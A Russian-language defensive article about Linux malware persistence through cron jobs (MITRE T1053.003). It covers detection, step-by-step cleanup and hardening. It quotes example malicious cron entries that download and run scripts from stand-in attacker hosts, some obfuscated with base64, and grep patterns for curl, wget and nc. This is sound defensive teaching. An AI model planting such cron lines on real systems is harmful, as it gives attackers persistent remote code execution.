Вы обнаружили на своём Linux-сервере вредоносное ПО. Удалили его. Проблема решена, правда?
Нет.
Через несколько минут оно снова появляется. Вы удаляете его ещё раз — оно возвращается. Вы перезагружаете систему. Однако после перезагрузки зловред по-прежнему активен.
Добро пожаловать в мир Закрепление через cron (Cron Persistence, «закрепление через запланированные задания cron») — одного из старейших трюков в арсенале Linux-вредоносов. Многие серверы на Linux до сих пор становятся его жертвами. Более того, исследователи безопасности отмечают, что закрепление через cron входит в десятку наиболее распространённых техник, применяемых злоумышленниками в атаках на Linux.
В этой статье (по материалам OSTechNix) мы разберём, что такое «Закрепление через cron», как обнаружить подобное закрепление, как безопасно удалить вредоносные cron-задания и как предотвратить будущие атаки.
Содержание
- Что такое «Закрепление через cron»?
- Что такое Cron?
- Почему вредоносное ПО в Linux использует Cron?
- Почему метод «Закрепления через cron» так эффективен
- Как происходит атака с использованием «Закрепления через cron»
- Цепочка атаки
- Бесконечный цикл очистки
- Типичные вредоносные шаблоны cron
- Где злоумышленники прячут cron-задания
- Как обнаружить «Закрепление через cron» в Linux
- Тревожные признаки в cron-записях
- Скрипт для автоматического поиска
- Пошаговая очистка системы от вредоносных cron-заданий
- Лучшие практики предотвращения атак через cron
- Часто задаваемые вопросы
- Краткие чек-листы по работе с вредоносными cron-заданиями
- Заключение
- Ключевые выводы
Что такое «Закрепление через cron»?
«Закрепление через cron» (закрепление через планировщик cron) — это техника, при которой злоумышленники создают плановые задания cron для повторного запуска вредоносных команд. Такие задания могут выполняться каждую минуту, каждый час или при старте системы. Поскольку cron запускает задачи автоматически, вредоносное ПО переживает перезагрузки и даже удаление его файлов вручную.
Службы кибербезопасности во всём мире считают эту методику одним из наиболее надёжных способов закрепления в Linux-системах.
MITRE ATT&CK
Техника «Закрепления через cron» официально задокументирована в базе MITRE ATT&CK под индексом T1053.003. В MITRE ATT&CK собираются и классифицируются реальные методы атак, используемые продвинутыми хакерскими группировками (APT) и киберпреступниками по всему миру.
Группировки, известные применением «Закрепления через cron»:
- APT5 — китайская хакерская группа, атакующая телекоммуникационный сектор.
- Rocke — группа, специализирующаяся на скрытом майнинге криптовалют.
- Anchor_DNS — вариация вредоносного ПО TrickBot, использующая DNS-каналы.
- ESXiArgs — вымогательское ПО, нацеленное на серверы VMware ESXi.
Где злоумышленники используют cron:
Исследователи фиксировали применение «Закрепления через cron» практически везде, где работает Linux, в том числе на:
- облачных серверах (AWS EC2, Azure VM, Google Compute Engine);
- внутри контейнеров (Docker, Kubernetes);
- настольных дистрибутивах Linux (Ubuntu, Fedora, Arch);
- IoT-устройствах (роутеры, камеры, NAS-хранилища);
- взломанных серверах (веб-серверах, СУБД и др.).
Проще говоря, где бы ни работал Linux, злоумышленники стараются использовать cron для закрепления своего присутствия.
Что такое Cron?
Cron — это встроенный в Linux и Unix демон-планировщик заданий. Он автоматически выполняет команды по расписанию, заданному администратором. Системные администраторы активно используют cron для автоматизации рутинных задач, например:
- ночное резервное копирование баз данных;
- еженедельная очистка временных файлов;
- ежедневная проверка доступных обновлений;
- запуск скриптов обслуживания по расписанию;
- ротация и очистка лог-файлов.
Проще говоря, cron берёт на себя выполнение повторяющихся задач, избавляя администратора от ручной рутины. Это чрезвычайно полезный инструмент автоматизации системы.
Почему вредоносное ПО в Linux использует Cron?
Атакующие любят cron ровно по тем же причинам, что и администраторы. После взлома системы они просто добавляют своё расписание задач. Их вредонос будет запускаться автоматически — каждую минуту, каждый час, даже после того как вы попытаетесь её удалить.
Злоумышленники предпочитают cron-задания по нескольким причинам:
- Cron установлен по умолчанию почти на всех системах Linux.
- Плановые задания выглядят легитимно и сливаются с обычной административной активностью.
- Cron не требует участия пользователя — задачи выполняются в фоне.
- Cron-задача может сама восстанавливать вредоносное ПО при удалении.
Благодаря этому приёму вредоносное ПО через cron успешно работает на серверах, десктопах, в контейнерах и облачных инстансах.
Почему метод «Закрепления через cron» так эффективен
Метод «закрепления через cron» настолько действенен, потому что он:
- Переживает перезагрузку — вредонос автоматически стартует при каждой загрузке системы.
- Самовосстанавливается — если файлы вредоноса удалить, через пару минут cron скачает и запустит их заново.
- Маскируется под норму — cron является легитимным сервисом, поэтому запись в cron не сразу вызывает подозрения.
- Может прятаться в разных местах — у атакующих множество каталогов, куда можно скрытно добавить своё cron-задание.
- Часто не проверяется — многие администраторы редко проводят аудит конфигурации cron.
Как происходит атака с использованием «Закрепления через cron»
Формат задания cron очень прост. Например:
* * * * * command_to_execute | | | | | | | | | +--- Day of week (0-6, Sunday to Saturday) | | | +----- Month (1-12) | | +------- Day of month (1-31) | +--------- Hour (0-23) +----------- Minute (0-59)
Как видно, пять звёздочек задают расписание (минуту, час, день, месяц, день недели), после которых пишется сама команда. Этой простотой и пользуются злоумышленники.
Цепочка атаки
Как же злоумышленникам удаётся постоянно возвращать вредоносное ПО в систему? Всё просто: получив доступ, хакер добавляет всего одну строку в настройки cron. Эта строка указывает планировщику скачивать и запускать вредонос по расписанию.
Пример вредоносной cron-записи
Например, атакующий может добавить в cron следующую команду:
* * * * * curl http://evil.com/malware.sh | bash
Каждый символ * здесь означает «каждую единицу времени» (каждую минуту каждого часа, дня и т.д.), так что эта команда будет выполняться каждую минуту. В приведённом случае команда curl скачивает скрипт с сервера злоумышленника, а конструкция | bash сразу передаёт его на выполнение оболочке. Таким образом, каждые 60 секунд на сервер загружается и запускается свежая копия вредоносного кода. Даже если вы удалите его файлы, через минуту cron опять их вернёт.
Бесконечный цикл очистки
Представьте такую ситуацию:
- Вы замечаете странное поведение сервера (высокая нагрузка CPU, неизвестные процессы).
- Вы находите на диске вредоносные файлы.
- Вы удаляете эти файлы.
- Через минуту они загадочным образом появляются снова.
- Вы в замешательстве и повторно стираете подозрительные файлы.
- Они вновь возвращаются.
- Вы перезагружаете сервер, думая, что это решит проблему.
- Вредонос возвращается сразу после загрузки системы.
Почему так происходит? Потому что в системе всё ещё осталась cron-задача, которую вы не удалили. Она переустанавливает вредонос независимо от ваших действий. Пока вы не уберёте саму запись в cron, вы застрянете в бесконечном цикле очистки.
Типичные вредоносные шаблоны cron
Запуск вредоносного кода каждую минуту:
* * * * * curl http://malicious-website/payload.sh | bash
Запуск вредоноса при каждой перезагрузке системы:
@reboot /tmp/.hidden/payload
Использование обфускации (маскировки):
* * * * * echo "YmFzaCAuLi4=" | base64 -d | bash
В подобных cron-записях вредоносное ПО зачастую заново загружается из сети, если вы обнаружите и сотрёте исходные файлы.
Где злоумышленники прячут cron-задания
Атакующие обычно не ограничиваются одним местом. Они могут прописать вредоносные cron-задачи в нескольких разных локациях по системе. Поэтому для успешного обнаружения и очистки важно знать все возможные точки, где может скрываться «закрепление через cron».
1. Пользовательские crontab-задания
Где: в индивидуальных конфигурациях пользователей.
Как посмотреть: crontab -l (для текущего пользователя).
Каждый пользователь на системе может иметь свой собственный cron-планировщик (crontab). Злоумышленники часто добавляют вредоносные записи именно туда, потому что многие администраторы их никогда не проверяют. Взломав учётную запись пользователя (не обязательно root), атака может незаметно прописать cron-задание и тем самым обеспечить автозапуск вредоносного ПО.
Типичные расположения файлов crontab для пользователей:
- /var/spool/cron/crontabs/<имя_пользователя>
- /var/spool/cron/<имя_пользователя>
2. Системные директории cron
В Linux имеется несколько стандартных директорий для системных (глобальных) cron-заданий:
| Директория | Выполнение по расписанию | Уровень риска |
|---|---|---|
| /etc/cron.d/ | Индивидуально задано | Высокий |
| /etc/cron.hourly/ | Каждый час | Средний |
| /etc/cron.daily/ | Каждый день | Средний |
| /etc/cron.weekly/ | Каждую неделю | Низкий |
| /etc/cron.monthly/ | Каждый месяц | Низкий |
| /etc/crontab | Глобальный системный файл | Высокий |
Совет по безопасности: скрипты в этих каталогах выполняются с системными привилегиями, поэтому они представляют собой привлекательную цель для атакующего.
3. Автозапуск при загрузке (@reboot)
Отдельно стоит упомянуть специальную директиву cron @reboot. Она означает запуск команды при каждой загрузке системы:
@reboot curl http://evilwebsite.com/backdoor.sh | bash
Сколько бы раз вы ни перегружали сервер, такая запись снова запустит вредонос при старте. Это особенно опасно, ведь техника @reboot переживает даже агрессивную очистку системы.
4. Неочевидные и скрытые места
Продвинутые атакующие могут применять и другие методы:
- Директории Anacron: /var/spool/anacron/ (задания, выполняющиеся с определённой периодичностью даже при выключенном ПК).
- Таймеры пользователя systemd: ~/.config/systemd/user/ (могут запускаться подобно cron).
- Модифицированные системные сервисы, выполняющие периодические задачи.
Как обнаружить «Закрепление через cron» в Linux
Теперь перейдём к выявлению проблемы. Чтобы не пропустить угрозу, необходимо регулярно проверять систему на наличие подозрительных cron-записей.
Быстрая проверка cron
Вот несколько полезных команд для аудита cron:
Просмотреть cron текущего пользователя:
crontab -l
Посмотреть все crontab-файлы пользователей:
sudo ls -la /var/spool/cron/crontabs/
Проверить cron каждого пользователя (перебором):
for user in $(cut -f1 -d: /etc/passwd); do echo "=== Cron jobs for $user ===" sudo crontab -u $user -l 2>/dev/null || echo "No crontab" done
Просканировать системные директории cron:
sudo ls -la /etc/cron.* sudo cat /etc/crontab sudo ls -la /etc/cron.d/ sudo ls -la /etc/cron.hourly/ sudo ls -la /etc/cron.daily/
Анализ логов выполнения cron
Linux фиксирует каждое срабатывание cron-задания в журналах. Эти логи стоит проверять на наличие подозрительной активности.
На Red Hat/CentOS/Fedora записи cron ведутся в отдельном файле /var/log/cron. Проверить его можно так:
sudo grep CRON /var/log/cron sudo grep CRON /var/log/cron | grep -E "(curl|wget|bash)"
На Ubuntu/Debian соответствующие сообщения попадают в системный лог /var/log/syslog:
sudo grep CRON /var/log/syslog sudo grep CRON /var/log/syslog | grep -E "(curl|wget|bash)"
Кроме того, можно просмотреть последние события cron через журнал systemd, например за последний час:
journalctl -u cron --since "1 hour ago"
Тревожные признаки в cron-записях
При изучении cron-таблиц обратите внимание на следующие подозрительные признаки:
Сетевые команды
Любое cron-задание, использующее утилиты вроде curl, wget или nc, заслуживает немедленного внимания. Эти инструменты скачивают файлы или открывают сетевые соединения, что нехарактерно для обычных задач cron.
Пример подозрительной записи:
* * * * * wget -O - http://malicious.com/script | sh
Base64-кодирование
Атакующие часто шифруют свои команды в base64, чтобы скрыть их суть. Если вы видите длинные непонятные строки, попробуйте расшифровать их:
echo "base64_строка" | base64 -d
Пример обфусцированной команды:
* * * * * echo "Y3VybCBhLmV2aWwuc2gK" | base64 -d | bash
Неизвестные адреса или домены
Проверьте все внешние IP-адреса или домены, упоминаемые в cron-записях. Можно использовать утилиты:
whoisdig <домен> host <домен>
Временные папки
Если скрипт запускается из каталога /tmp, /var/tmp или спрятан в скрытом пути (например, .hidden/), это крайне подозрительно.
Примеры опасных путей:
* * * * * /tmp/.hidden/miner * * * * * bash /var/tmp/update.sh
Чрезмерная частота
Задания, выполняющиеся каждую минуту (* * * * *), почти всегда вызывают вопросы. Спросите себя: действительно ли легитимной задаче требуется запуск 1440 раз в сутки?
Странные символы
Обратите внимание на:
- Символы возврата каретки (например, ^M в конце строк).
- Необычные Unicode-символы.
- Чрезмерное использование специальных операторов (;, &, | и др.).
Скрипт для автоматического поиска
При необходимости можно использовать простой bash-скрипт для автоматической проверки cron на известные подозрительные шаблоны:
#!/bin/bash
# Cron Security Auditor
echo "=== Checking for suspicious cron jobs ==="
# Проверка всех пользователей
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null | grep -E '(curl|wget|nc|base64|eval|exec)' \
&& echo "Обнаружена подозрительная запись у пользователя: $user"
done
# Проверка системных cron-директорий
find /etc/cron.* -type f -exec grep -H -E '(curl|wget|nc|base64)' {} \;
# Поиск заданий, запускающихся каждую минуту
grep -r '^\* \* \* \* \*' /etc/cron* /var/spool/cron 2>/dev/null
echo "=== Audit complete ==="
Важно: данный скрипт не удаляет найденные задания, а только выводит подозрительные. Каждую найденную запись администратор должен анализировать вручную!
Если скрипт что-то нашёл, спросите себя:
- Знакома ли вам эта cron-задача?
- Почему она должна выполняться каждую минуту?
- Зачем она загружает код из сети?
- Почему запускается из каталога /tmp?
- Документирована ли где-то её необходимость?
Если на эти вопросы нет ясных ответов, скорее всего задание вредоносное.
Однако учтите: иногда странная cron-запись может оказаться легитимной (например, частью нестандартного ПО). Не удаляйте всё подряд бездумно — сначала убедитесь в зловредности.
Перед тем как удалять подозрительное cron-задание, обязательно:
- Сохраните где-нибудь его текст (скопируйте строку).
- Запишите путь к файлу или скрипту, который оно запускает.
- Проверьте временные метки этого файла (время создания/изменения).
- Посмотрите активные сетевые подключения системы.
- Просмотрите историю команд (
history) на наличие следов этой задачи.
Нередко «закрепление через cron» сочетается с другими методами закрепления в системе, так что поиск стоит продолжить и за пределами cron.
Пошаговая очистка системы от вредоносных cron-заданий
Допустим, вы обнаружили в cron подозрительную запись. Ниже приведён систематический процесс, как правильно её удалить и не дать вредоносному ПО вернуться.
Шаг 1: Зафиксировать текущее состояние
Прежде чем что-либо менять, выполните резервное копирование cron-конфигураций и соберите всю информацию:
Сделайте бэкап всех cron-настроек:
sudo tar -czf cron-backup-$(date +%Y%m%d).tar.gz /var/spool/cron /etc/cron* /etc/crontab
Сохраните текущее содержимое crontab:
crontab -l > my-crontab-backup.txt sudo cat /etc/crontab > system-crontab-backup.txt
Шаг 2: Выявить злонамеренную запись
Тщательно изучите найденное cron-задание и запишите для себя:
- От имени какого пользователя оно выполняется.
- Какую команду запускает.
- Как часто срабатывает.
- Какие файлы или скрипты с ним связаны (например, что скачивает или какой путь указан).
Шаг 3: Удалить пользовательский crontab
Если вредоносное задание было в crontab конкретного пользователя, необходимо его оттуда убрать.
Полностью удалить свой crontab можно командой:
crontab -r
Удалить crontab другого пользователя:
sudo crontab -r -u имя_пользователя
Чтобы отредактировать crontab и убрать отдельные строки:
crontab -e
(Найдите и сотрите вредоносные строки, затем сохраните файл.)
Альтернативный способ (не входя в редактор):
# Показать crontab с номерами строк crontab -l | cat -n # Удалить, например, 27-ю строку crontab -l | sed '27d' | crontab -
Шаг 4: Очистить системные директории cron
Удалите вредоносные файлы, оказавшиеся в системных cron-директориях:
sudo rm /etc/cron.d/suspicious-file sudo rm /etc/cron.hourly/malicious-script sudo rm /etc/cron.daily/backdoor.sh
Проверьте содержимое глобального файла /etc/crontab:
sudo vi /etc/crontab
Удалите из него все подозрительные строки вручную и сохраните изменения.
Шаг 5: Удалить сами файлы вредоноса
Теперь, когда cron-задача больше не сможет заново скачать вредоносное ПО, нужно удалить сам вредоносный файл (или файлы):
# Пример: найти и удалить исполняемый файл вредоносного ПО sudo rm /tmp/malicious.sh sudo rm /var/tmp/.hidden-miner sudo find / -name "suspicious-process" -delete
Шаг 6: Проверить другие механизмы закрепления
Опытные злоумышленники редко полагаются только на один метод автозапуска. После удаления cron-записи стоит убедиться, что в системе не осталось других «точек закрепления»:
Проверьте сервисы systemd:
systemctl list-units --type=service --all | grep -v "&" systemctl status suspicious-service
Проверьте таймеры systemd:
systemctl list-timers --all
Проверьте автозапуск скриптов:
ls -la /etc/init.d/ ls -la /etc/rc*.d/ ls -la /etc/profile.d/
Проверьте ключи авторизации SSH:
cat ~/.ssh/authorized_keys sudo cat /root/.ssh/authorized_keys
Шаг 7: Убедиться, что вредоносное ПО не вернулось
Перезапустите службу cron на всякий случай:
sudo systemctl restart cron sudo systemctl status cron
Теперь понаблюдайте за системой хотя бы в течение суток:
Следите, не появился ли процесс вредоноса снова (замените имя процесса на актуальное):
watch -n 60 'ps aux | grep suspicious-process'
Мониторьте лог cron на новые записи:
tail -f /var/log/syslog | grep CRON
Шаг 8: Провести полный аудит безопасности
После инцидента необходимо проверить, не осталось ли у злоумышленников других лазеек, и усилить защиту:
Смените все пароли (особенно учётных записей, под которыми работал вредонос):
passwd sudo passwd root
Проверьте систему на руткиты: установите и запустите утилиты вроде
rkhunter,chkrootkit:
sudo apt install rkhunter chkrootkit -y sudo rkhunter --check sudo chkrootkit
Проанализируйте журналы авторизаций на предмет подозрительных попыток доступа:
sudo grep -i "failed\|failure" /var/log/auth.log sudo last -a | head -20
Лучшие практики предотвращения атак через cron
Гораздо проще не допустить, чем потом чистить. Вот несколько рекомендаций, которые помогут защитить систему от «закрепления через cron»:
1. Регулярные аудиты безопасности
Добавьте проверку cron в список своих плановых задач. Например, создайте скрипт еженедельного аудита cron:
#!/bin/bash # weekly-cron-audit.sh /usr/local/bin/cron-audit.sh | mail -s "Weekly Cron Audit" admin@example.com
и запланируйте его запуск через cron (иронично, но эффективно):
0 9 * * 1 /usr/local/bin/weekly-cron-audit.sh
2. Контроль целостности файлов
Используйте инструменты мониторинга целостности для важных директорий. Например, AIDE (Advanced Intrusion Detection Environment):
sudo apt install aide -y # установка AIDE sudo aideinit # инициализация базы данных sudo vi /etc/aide/aide.conf # настройка проверки
Добавьте в конфиг AIDE важные пути:
/etc/cron.d R+b+sha256 /etc/cron.hourly R+b+sha256 /etc/cron.daily R+b+sha256 /var/spool/cron R+b+sha256
После чего запустите проверку:
sudo aide --check
Альтернатива — Tripwire:
sudo apt install tripwire -y sudo tripwire --init sudo tripwire --check
3. Ограничение доступа к cron
Разрешите использование cron только определённым пользователям:
Создайте файл-список разрешённых:
sudo vi /etc/cron.allow
Впишите туда имена пользователей (по одному на строку), которым нужен cron (например, root, admin).
Запретите остальным, указав в /etc/cron.deny строку:
ALL
Настройте правильные права доступа на файлы cron:
sudo chmod 600 /etc/crontab sudo chmod 700 /etc/cron.* sudo chmod 600 /var/spool/cron/crontabs/*
4. Централизованный сбор логов
Направляйте логи cron на отдельный удалённый сервер — так злоумышленник не сможет подчистить их на самом атакованном хосте. Например, для Rsyslog:
# В файле /etc/rsyslog.conf добавьте: cron.* @@logserver.example.com:514 # Перезапустите службу журналирования sudo systemctl restart rsyslog
Можно настроить и передачу логов через journald:
sudo vi /etc/systemd/journal-remote.conf # (сконфигурируйте отправку журналов на удалённый сервер)
5. Мониторинг безопасности
Установите и настройте инструменты для мониторинга системы и выявления угроз. Нет необходимости использовать их все сразу — выберите наиболее подходящие.
Lynis — аудитор безопасности:
sudo apt install lynis -y sudo lynis audit system sudo lynis show suggestions
OSQuery — инструмент для мониторинга:
sudo apt install osquery -y # установка osquery osqueryi "SELECT * FROM crontab;" # запрос списка cron-заданий через osquery
Wazuh — платформа обнаружения атак. Установите агент Wazuh и подключите его согласно официальной инструкции.
# Install Wazuh agent (пример) curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -
6. Минимальные привилегии
Настраивайте службы так, чтобы они не работали от имени root, если в этом нет острой необходимости. Создайте отдельных непривилегированных пользователей для сервисов:
sudo useradd -r -s /bin/false serviceuser
и укажите в unit-файлах systemd запуск от них (например, в /etc/systemd/system/<ваш_сервис>.service):
User=serviceuser Group=serviceuser
7. Использование AppArmor/SELinux
Включите механизмы принудительного контроля доступа:
AppArmor (для Ubuntu/Debian):
sudo apt install apparmor apparmor-utils -y sudo systemctl enable apparmor sudo aa-enforce /etc/apparmor.d/*
SELinux (для RHEL/CentOS):
sudo setenforce 1 sudo vi /etc/selinux/config # установите SELINUX=enforcing
8. Сегментация сети
Разделите свою инфраструктуру на сегменты:
- Изолируйте критичные серверы от прямого доступа к интернету.
- Используйте bastion-хосты для SSH-доступа извне.
- Настройте firewall, запрещающий неавторизованные исходящие подключения.
9. Своевременное обновление
Включите автоматическую установку важных обновлений безопасности, чтобы закрывать известные уязвимости:
sudo apt install unattended-upgrades -y sudo dpkg-reconfigure --priority=low unattended-upgrades
10. Мониторинг cron в реальном времени
Для особо важных систем имеет смысл наладить оперативный контроль за cron. Например, можно запустить скрипт-монитор, выводящий активные cron-задания и последние события:
#!/bin/bash
# cron-monitor.sh
while true; do
clear
echo "=== Активные cron-задания ==="
for user in $(cut -f1 -d: /etc/passwd); do
echo "User: $user"
sudo crontab -u $user -l 2>/dev/null | grep -v "^#"
done
echo ""
echo "=== Недавние выполнения cron ==="
tail -20 /var/log/syslog | grep CRON
sleep 60
done
Часто задаваемые вопросы
crontab на троянский, который не выводит вредоносные записи. Поэтому при подозрениях стоит проверять целостность системных утилит (например, с помощью debsums -c или rpm -V crontabs).
Можно, выполнив:
sudo systemctl stop cron && sudo systemctl disable cron
Однако помните: многие системные задачи (обновления, очистка и т.п.) полагаются на cron. Вместо полного отключения лучше ограничить к нему доступ через /etc/cron.allow и активно мониторить.
Краткие чек-листы
Распечатайте следующие списки и отмечайте пункты по мере выполнения, чтобы ничего не забыть.
Заключение
Злоумышленники активно используют cron-задания, чтобы вернуть себе доступ к системе после перезагрузки или очистки.
Закрепление через cron (cron-персистентность) и сегодня остаётся популярной техникой, потому что она действительно эффективна. Всё, что нужно атакующему — одна строка в нужном cron-файле. После этого его вредоносное ПО переживёт перезагрузки, обновления и даже ручное удаление файлов.
Регулярно проверяя все cron-локации, анализируя логи и следуя тщательной процедуре очистки, вы можете обнаружить и удалить такие скрытые угрозы прежде, чем они нанесут серьёзный ущерб.
Ключевые выводы
- «Закрепление через cron» признано техникой в MITRE ATT&CK (код T1053.003).
- Для обнаружения таких угроз необходимо регулярно проверять все возможные места, где могут быть задания cron.
- Удаление должно проводиться системно, иначе вредонос может вернуться.
- Предотвращение — лучший подход: мониторинг, ограничение доступа и другие меры безопасности эффективнее, чем борьба с последствиями.
Так что возьмите за правило проверить свои cron-задания уже сегодня. Просмотрите содержимое соответствующих каталогов, изучите логи. Сделайте это частью регулярного обслуживания системы.
Linux: обзоры и обновления
• Linux Mint 22.3 Zena: бета-версия доступна для тестирования
• NVIDIA Graphics Driver для Linux 590.48.01: Первый стабильный драйвер ветки R590
• Почему вредоносное ПО в Linux возвращается после перезагрузки: закрепление через cron
• Steam Deck начал предупреждать о необходимости обновления прошивки Xbox-контроллеров
• Управление дисками и файловыми системами: анализ преимуществ Windows перед Linux в десктопном сегменте
• Релиз Mabox Linux 25.12: легковесный дистрибутив на базе Manjaro перешел на инструментарий GTK3